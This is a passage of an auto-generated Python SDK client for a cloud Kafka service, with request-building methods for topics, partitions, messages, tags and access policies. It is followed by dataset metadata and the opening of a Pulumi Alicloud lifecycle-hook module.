query_params.append(('limit', local_var_params['limit']))
if 'offset' in local_var_params:
query_params.append(('offset', local_var_params['offset']))
if 'download' in local_var_params:
query_params.append(('download', local_var_params['download']))
if 'message_offset' in local_var_params:
query_params.append(('message_offset', local_var_params['message_offset']))
if 'partition' in local_var_params:
query_params.append(('partition', local_var_params['partition']))
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/messages',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowInstanceMessagesResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_instance_topic_detail_async(self, request):
"""查询Kafka实例Topic详细信息
查询Kafka实例Topic详细信息。
:param ShowInstanceTopicDetailRequest request
:return: ShowInstanceTopicDetailResponse
"""
return self.show_instance_topic_detail_with_http_info(request)
def show_instance_topic_detail_with_http_info(self, request):
"""查询Kafka实例Topic详细信息
查询Kafka实例Topic详细信息。
:param ShowInstanceTopicDetailRequest request
:return: ShowInstanceTopicDetailResponse
"""
all_params = ['instance_id', 'topic']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'topic' in local_var_params:
path_params['topic'] = local_var_params['topic']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/topics/{topic}',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowInstanceTopicDetailResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_instance_users_async(self, request):
"""查询用户列表
查询用户列表。 Kafka实例开启SASL功能时，才支持多用户管理的功能。
:param ShowInstanceUsersRequest request
:return: ShowInstanceUsersResponse
"""
return self.show_instance_users_with_http_info(request)
def show_instance_users_with_http_info(self, request):
"""查询用户列表
查询用户列表。 Kafka实例开启SASL功能时，才支持多用户管理的功能。
:param ShowInstanceUsersRequest request
:return: ShowInstanceUsersResponse
"""
all_params = ['instance_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/users',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowInstanceUsersResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_kafka_project_tags_async(self, request):
"""查询项目标签
查询项目标签。
:param ShowKafkaProjectTagsRequest request
:return: ShowKafkaProjectTagsResponse
"""
return self.show_kafka_project_tags_with_http_info(request)
def show_kafka_project_tags_with_http_info(self, request):
"""查询项目标签
查询项目标签。
:param ShowKafkaProjectTagsRequest request
:return: ShowKafkaProjectTagsResponse
"""
all_params = []
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/kafka/tags',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowKafkaProjectTagsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_kafka_tags_async(self, request):
"""查询实例标签
查询实例标签。
:param ShowKafkaTagsRequest request
:return: ShowKafkaTagsResponse
"""
return self.show_kafka_tags_with_http_info(request)
def show_kafka_tags_with_http_info(self, request):
"""查询实例标签
查询实例标签。
:param ShowKafkaTagsRequest request
:return: ShowKafkaTagsResponse
"""
all_params = ['instance_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/kafka/{instance_id}/tags',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowKafkaTagsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_kafka_topic_partition_diskusage_async(self, request):
"""查询topic的磁盘存储情况
查询topic在Broker上磁盘占用情况。
:param ShowKafkaTopicPartitionDiskusageRequest request
:return: ShowKafkaTopicPartitionDiskusageResponse
"""
return self.show_kafka_topic_partition_diskusage_with_http_info(request)
def show_kafka_topic_partition_diskusage_with_http_info(self, request):
"""查询topic的磁盘存储情况
查询topic在Broker上磁盘占用情况。
:param ShowKafkaTopicPartitionDiskusageRequest request
:return: ShowKafkaTopicPartitionDiskusageResponse
"""
all_params = ['instance_id', 'min_size', 'top', 'percentage']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
if 'min_size' in local_var_params:
query_params.append(('minSize', local_var_params['min_size']))
if 'top' in local_var_params:
query_params.append(('top', local_var_params['top']))
if 'percentage' in local_var_params:
query_params.append(('percentage', local_var_params['percentage']))
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/topics/diskusage',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowKafkaTopicPartitionDiskusageResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_maintain_windows_async(self, request):
"""查询维护时间窗时间段
查询维护时间窗开始时间和结束时间。
:param ShowMaintainWindowsRequest request
:return: ShowMaintainWindowsResponse
"""
return self.show_maintain_windows_with_http_info(request)
def show_maintain_windows_with_http_info(self, request):
"""查询维护时间窗时间段
查询维护时间窗开始时间和结束时间。
:param ShowMaintainWindowsRequest request
:return: ShowMaintainWindowsResponse
"""
all_params = []
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/instances/maintain-windows',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowMaintainWindowsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_messages_async(self, request):
"""查询分区指定时间段的消息
查询分区指定时间段的消息。
:param ShowMessagesRequest request
:return: ShowMessagesResponse
"""
return self.show_messages_with_http_info(request)
def show_messages_with_http_info(self, request):
"""查询分区指定时间段的消息
查询分区指定时间段的消息。
:param ShowMessagesRequest request
:return: ShowMessagesResponse
"""
all_params = ['instance_id', 'topic', 'start_time', 'end_time', 'limit', 'offset', 'partition']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'topic' in local_var_params:
path_params['topic'] = local_var_params['topic']
query_params = []
if 'start_time' in local_var_params:
query_params.append(('start_time', local_var_params['start_time']))
if 'end_time' in local_var_params:
query_params.append(('end_time', local_var_params['end_time']))
if 'limit' in local_var_params:
query_params.append(('limit', local_var_params['limit']))
if 'offset' in local_var_params:
query_params.append(('offset', local_var_params['offset']))
if 'partition' in local_var_params:
query_params.append(('partition', local_var_params['partition']))
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/topics/{topic}/messages',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowMessagesResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_partition_beginning_message_async(self, request):
"""查询分区最早消息的位置
查询分区最早消息的位置。
:param ShowPartitionBeginningMessageRequest request
:return: ShowPartitionBeginningMessageResponse
"""
return self.show_partition_beginning_message_with_http_info(request)
def show_partition_beginning_message_with_http_info(self, request):
"""查询分区最早消息的位置
查询分区最早消息的位置。
:param ShowPartitionBeginningMessageRequest request
:return: ShowPartitionBeginningMessageResponse
"""
all_params = ['instance_id', 'topic', 'partition']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'topic' in local_var_params:
path_params['topic'] = local_var_params['topic']
if 'partition' in local_var_params:
path_params['partition'] = local_var_params['partition']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/topics/{topic}/partitions/{partition}/beginning-message',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowPartitionBeginningMessageResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_partition_end_message_async(self, request):
"""查询分区最新消息的位置
查询分区最新消息的位置。
:param ShowPartitionEndMessageRequest request
:return: ShowPartitionEndMessageResponse
"""
return self.show_partition_end_message_with_http_info(request)
def show_partition_end_message_with_http_info(self, request):
"""查询分区最新消息的位置
查询分区最新消息的位置。
:param ShowPartitionEndMessageRequest request
:return: ShowPartitionEndMessageResponse
"""
all_params = ['instance_id', 'topic', 'partition']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'topic' in local_var_params:
path_params['topic'] = local_var_params['topic']
if 'partition' in local_var_params:
path_params['partition'] = local_var_params['partition']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/topics/{topic}/partitions/{partition}/end-message',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowPartitionEndMessageResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_partition_message_async(self, request):
"""查询分区指定偏移量的消息
查询分区指定偏移量的消息。
:param ShowPartitionMessageRequest request
:return: ShowPartitionMessageResponse
"""
return self.show_partition_message_with_http_info(request)
def show_partition_message_with_http_info(self, request):
"""查询分区指定偏移量的消息
查询分区指定偏移量的消息。
:param ShowPartitionMessageRequest request
:return: ShowPartitionMessageResponse
"""
all_params = ['instance_id', 'topic', 'partition', 'message_offset']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'topic' in local_var_params:
path_params['topic'] = local_var_params['topic']
if 'partition' in local_var_params:
path_params['partition'] = local_var_params['partition']
query_params = []
if 'message_offset' in local_var_params:
query_params.append(('message_offset', local_var_params['message_offset']))
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/topics/{topic}/partitions/{partition}/message',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowPartitionMessageResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_sink_task_detail_async(self, request):
"""查询单个转储任务
查询单个转储任务。
:param ShowSinkTaskDetailRequest request
:return: ShowSinkTaskDetailResponse
"""
return self.show_sink_task_detail_with_http_info(request)
def show_sink_task_detail_with_http_info(self, request):
"""查询单个转储任务
查询单个转储任务。
:param ShowSinkTaskDetailRequest request
:return: ShowSinkTaskDetailResponse
"""
all_params = ['connector_id', 'task_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'connector_id' in local_var_params:
path_params['connector_id'] = local_var_params['connector_id']
if 'task_id' in local_var_params:
path_params['task_id'] = local_var_params['task_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/connectors/{connector_id}/sink-tasks/{task_id}',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowSinkTaskDetailResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_topic_access_policy_async(self, request):
"""查询用户权限
查询用户权限。 Kafka实例开启SASL功能时，才支持多用户管理的功能。
:param ShowTopicAccessPolicyRequest request
:return: ShowTopicAccessPolicyResponse
"""
return self.show_topic_access_policy_with_http_info(request)
def show_topic_access_policy_with_http_info(self, request):
"""查询用户权限
查询用户权限。 Kafka实例开启SASL功能时，才支持多用户管理的功能。
:param ShowTopicAccessPolicyRequest request
:return: ShowTopicAccessPolicyResponse
"""
all_params = ['instance_id', 'topic_name']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'topic_name' in local_var_params:
path_params['topic_name'] = local_var_params['topic_name']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v1/{project_id}/instances/{instance_id}/topics/{topic_name}/accesspolicy',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowTopicAccessPolicyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_instance_async(self, request):
"""修改实例信息
修改实例的名称和描述信息。
:param UpdateInstanceRequest request
:return: UpdateInstanceResponse
"""
return self.update_instance_with_http_info(request)
def update_instance_with_http_info(self, request):
"""修改实例信息
修改实例的名称和描述信息。
:param UpdateInstanceRequest request
:return: UpdateInstanceResponse
"""
all_params = ['instance_id', 'update_instance_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}',
method='PUT',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateInstanceResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_instance_auto_create_topic_async(self, request):
"""开启或关闭实例自动创建topic功能
开启或关闭实例自动创建topic功能。
:param UpdateInstanceAutoCreateTopicRequest request
:return: UpdateInstanceAutoCreateTopicResponse
"""
return self.update_instance_auto_create_topic_with_http_info(request)
def update_instance_auto_create_topic_with_http_info(self, request):
"""开启或关闭实例自动创建topic功能
开启或关闭实例自动创建topic功能。
:param UpdateInstanceAutoCreateTopicRequest request
:return: UpdateInstanceAutoCreateTopicResponse
"""
all_params = ['instance_id', 'update_instance_auto_create_topic_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/autotopic',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateInstanceAutoCreateTopicResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_instance_cross_vpc_ip_async(self, request):
"""修改实例跨VPC访问的内网IP
修改实例跨VPC访问的内网IP。
:param UpdateInstanceCrossVpcIpRequest request
:return: UpdateInstanceCrossVpcIpResponse
"""
return self.update_instance_cross_vpc_ip_with_http_info(request)
def update_instance_cross_vpc_ip_with_http_info(self, request):
"""修改实例跨VPC访问的内网IP
修改实例跨VPC访问的内网IP。
:param UpdateInstanceCrossVpcIpRequest request
:return: UpdateInstanceCrossVpcIpResponse
"""
all_params = ['instance_id', 'update_instance_cross_vpc_ip_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/crossvpc/modify',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateInstanceCrossVpcIpResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_instance_topic_async(self, request):
"""修改Kafka实例Topic
修改Kafka实例Topic
:param UpdateInstanceTopicRequest request
:return: UpdateInstanceTopicResponse
"""
return self.update_instance_topic_with_http_info(request)
def update_instance_topic_with_http_info(self, request):
"""修改Kafka实例Topic
修改Kafka实例Topic
:param UpdateInstanceTopicRequest request
:return: UpdateInstanceTopicResponse
"""
all_params = ['instance_id', 'update_instance_topic_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/topics',
method='PUT',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateInstanceTopicResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_sink_task_quota_async(self, request):
"""修改转储任务的配额
修改转储任务的配额。
:param UpdateSinkTaskQuotaRequest request
:return: UpdateSinkTaskQuotaResponse
"""
return self.update_sink_task_quota_with_http_info(request)
def update_sink_task_quota_with_http_info(self, request):
"""修改转储任务的配额
修改转储任务的配额。
:param UpdateSinkTaskQuotaRequest request
:return: UpdateSinkTaskQuotaResponse
"""
all_params = ['connector_id', 'update_sink_task_quota_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'connector_id' in local_var_params:
path_params['connector_id'] = local_var_params['connector_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/connectors/{connector_id}/sink-tasks',
method='PUT',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateSinkTaskQuotaResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_topic_access_policy_async(self, request):
"""设置用户权限
设置用户权限。 Kafka实例开启SASL功能时，才支持多用户管理的功能。
:param UpdateTopicAccessPolicyRequest request
:return: UpdateTopicAccessPolicyResponse
"""
return self.update_topic_access_policy_with_http_info(request)
def update_topic_access_policy_with_http_info(self, request):
"""设置用户权限
设置用户权限。 Kafka实例开启SASL功能时，才支持多用户管理的功能。
:param UpdateTopicAccessPolicyRequest request
:return: UpdateTopicAccessPolicyResponse
"""
all_params = ['instance_id', 'update_topic_access_policy_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v1/{project_id}/instances/{instance_id}/topics/accesspolicy',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateTopicAccessPolicyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_topic_replica_async(self, request):
"""修改Kafka实例Topic分区的副本
修改Kafka实例Topic分区的副本。
:param UpdateTopicReplicaRequest request
:return: UpdateTopicReplicaResponse
"""
return self.update_topic_replica_with_http_info(request)
def update_topic_replica_with_http_info(self, request):
"""修改Kafka实例Topic分区的副本
修改Kafka实例Topic分区的副本。
:param UpdateTopicReplicaRequest request
:return: UpdateTopicReplicaResponse
"""
all_params = ['instance_id', 'topic', 'update_topic_replica_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'topic' in local_var_params:
path_params['topic'] = local_var_params['topic']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/topics/{topic}/replicas-reassignment',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateTopicReplicaResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def call_api(self, resource_path, method, path_params=None, query_params=None, header_params=None, body=None,
post_params=None, response_type=None, response_headers=None, auth_settings=None,
collection_formats=None, request_type=None):
"""Makes the HTTP request and returns deserialized data.
:param resource_path: Path to method endpoint.
:param method: Method to call.
:param path_params: Path parameters in the url.
:param query_params: Query parameters in the url.
:param header_params: Header parameters to be
placed in the request header.
:param body: Request body.
:param post_params dict: Request post form parameters,
for `application/x-www-form-urlencoded`, `multipart/form-data`.
:param auth_settings list: Auth Settings names for the request.
:param response_type: Response data type.
:param response_headers: Header should be added to response data.
:param collection_formats: dict of collection formats for path, query,
header, and post parameters.
:param request_type: Request data type.
:return:
Return the response directly.
"""
return self.do_http_request(
method=method,
resource_path=resource_path,
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body,
post_params=post_params,
response_type=response_type,
response_headers=response_headers,
collection_formats=collection_formats,
request_type=request_type,
async_request=True)
| 31.278557 | 410 | 0.63364 | 10,748 | 109,256 | 6.032936 | 0.042799 | 0.041701 | 0.072977 | 0.02887 | 0.91598 | 0.900928 | 0.87505 | 0.847259 | 0.829894 | 0.699577 | 0 | 0.001259 | 0.280204 | 109,256 | 3,492 | 411 | 31.287514 | 0.823262 | 0.123636 | 0 | 0.825325 | 0 | 0.001001 | 0.121947 | 0.05455 | 0 | 0 | 0 | 0 | 0 | 1 | 0.053554 | false | 0.008509 | 0.005005 | 0 | 0.113614 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d2b05392d80b7fabf34bae9a3f799560c2f98f4c | 23,788 | py | Python | sdk/python/pulumi_alicloud/ess/lifecycle_hook.py | pulumi/pulumi-alicloud | 9c34d84b4588a7c885c6bec1f03b5016e5a41683 | [
"ECL-2.0",
"Apache-2.0"
] | 42 | 2019-03-18T06:34:37.000Z | 2022-03-24T07:08:57.000Z | sdk/python/pulumi_alicloud/ess/lifecycle_hook.py | pulumi/pulumi-alicloud | 9c34d84b4588a7c885c6bec1f03b5016e5a41683 | [
"ECL-2.0",
"Apache-2.0"
] | 152 | 2019-04-15T21:03:44.000Z | 2022-03-29T18:00:57.000Z | sdk/python/pulumi_alicloud/ess/lifecycle_hook.py | pulumi/pulumi-alicloud | 9c34d84b4588a7c885c6bec1f03b5016e5a41683 | [
"ECL-2.0",
"Apache-2.0"
] | 3 | 2020-08-26T17:30:07.000Z | 2021-07-05T01:37:45.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['LifecycleHookArgs', 'LifecycleHook']
@pulumi.input_type
class LifecycleHookArgs:
def __init__(__self__, *,
lifecycle_transition: pulumi.Input[str],
scaling_group_id: pulumi.Input[str],
default_result: Optional[pulumi.Input[str]] = None,
heartbeat_timeout: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[str]] = None,
notification_arn: Optional[pulumi.Input[str]] = None,
notification_metadata: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a LifecycleHook resource.
:param pulumi.Input[str] lifecycle_transition: Type of Scaling activity attached to lifecycle hook. Supported value: SCALE_OUT, SCALE_IN.
:param pulumi.Input[str] scaling_group_id: The ID of the Auto Scaling group to which you want to assign the lifecycle hook.
:param pulumi.Input[str] default_result: Defines the action the Auto Scaling group should take when the lifecycle hook timeout elapses. Applicable value: CONTINUE, ABANDON, default value: CONTINUE.
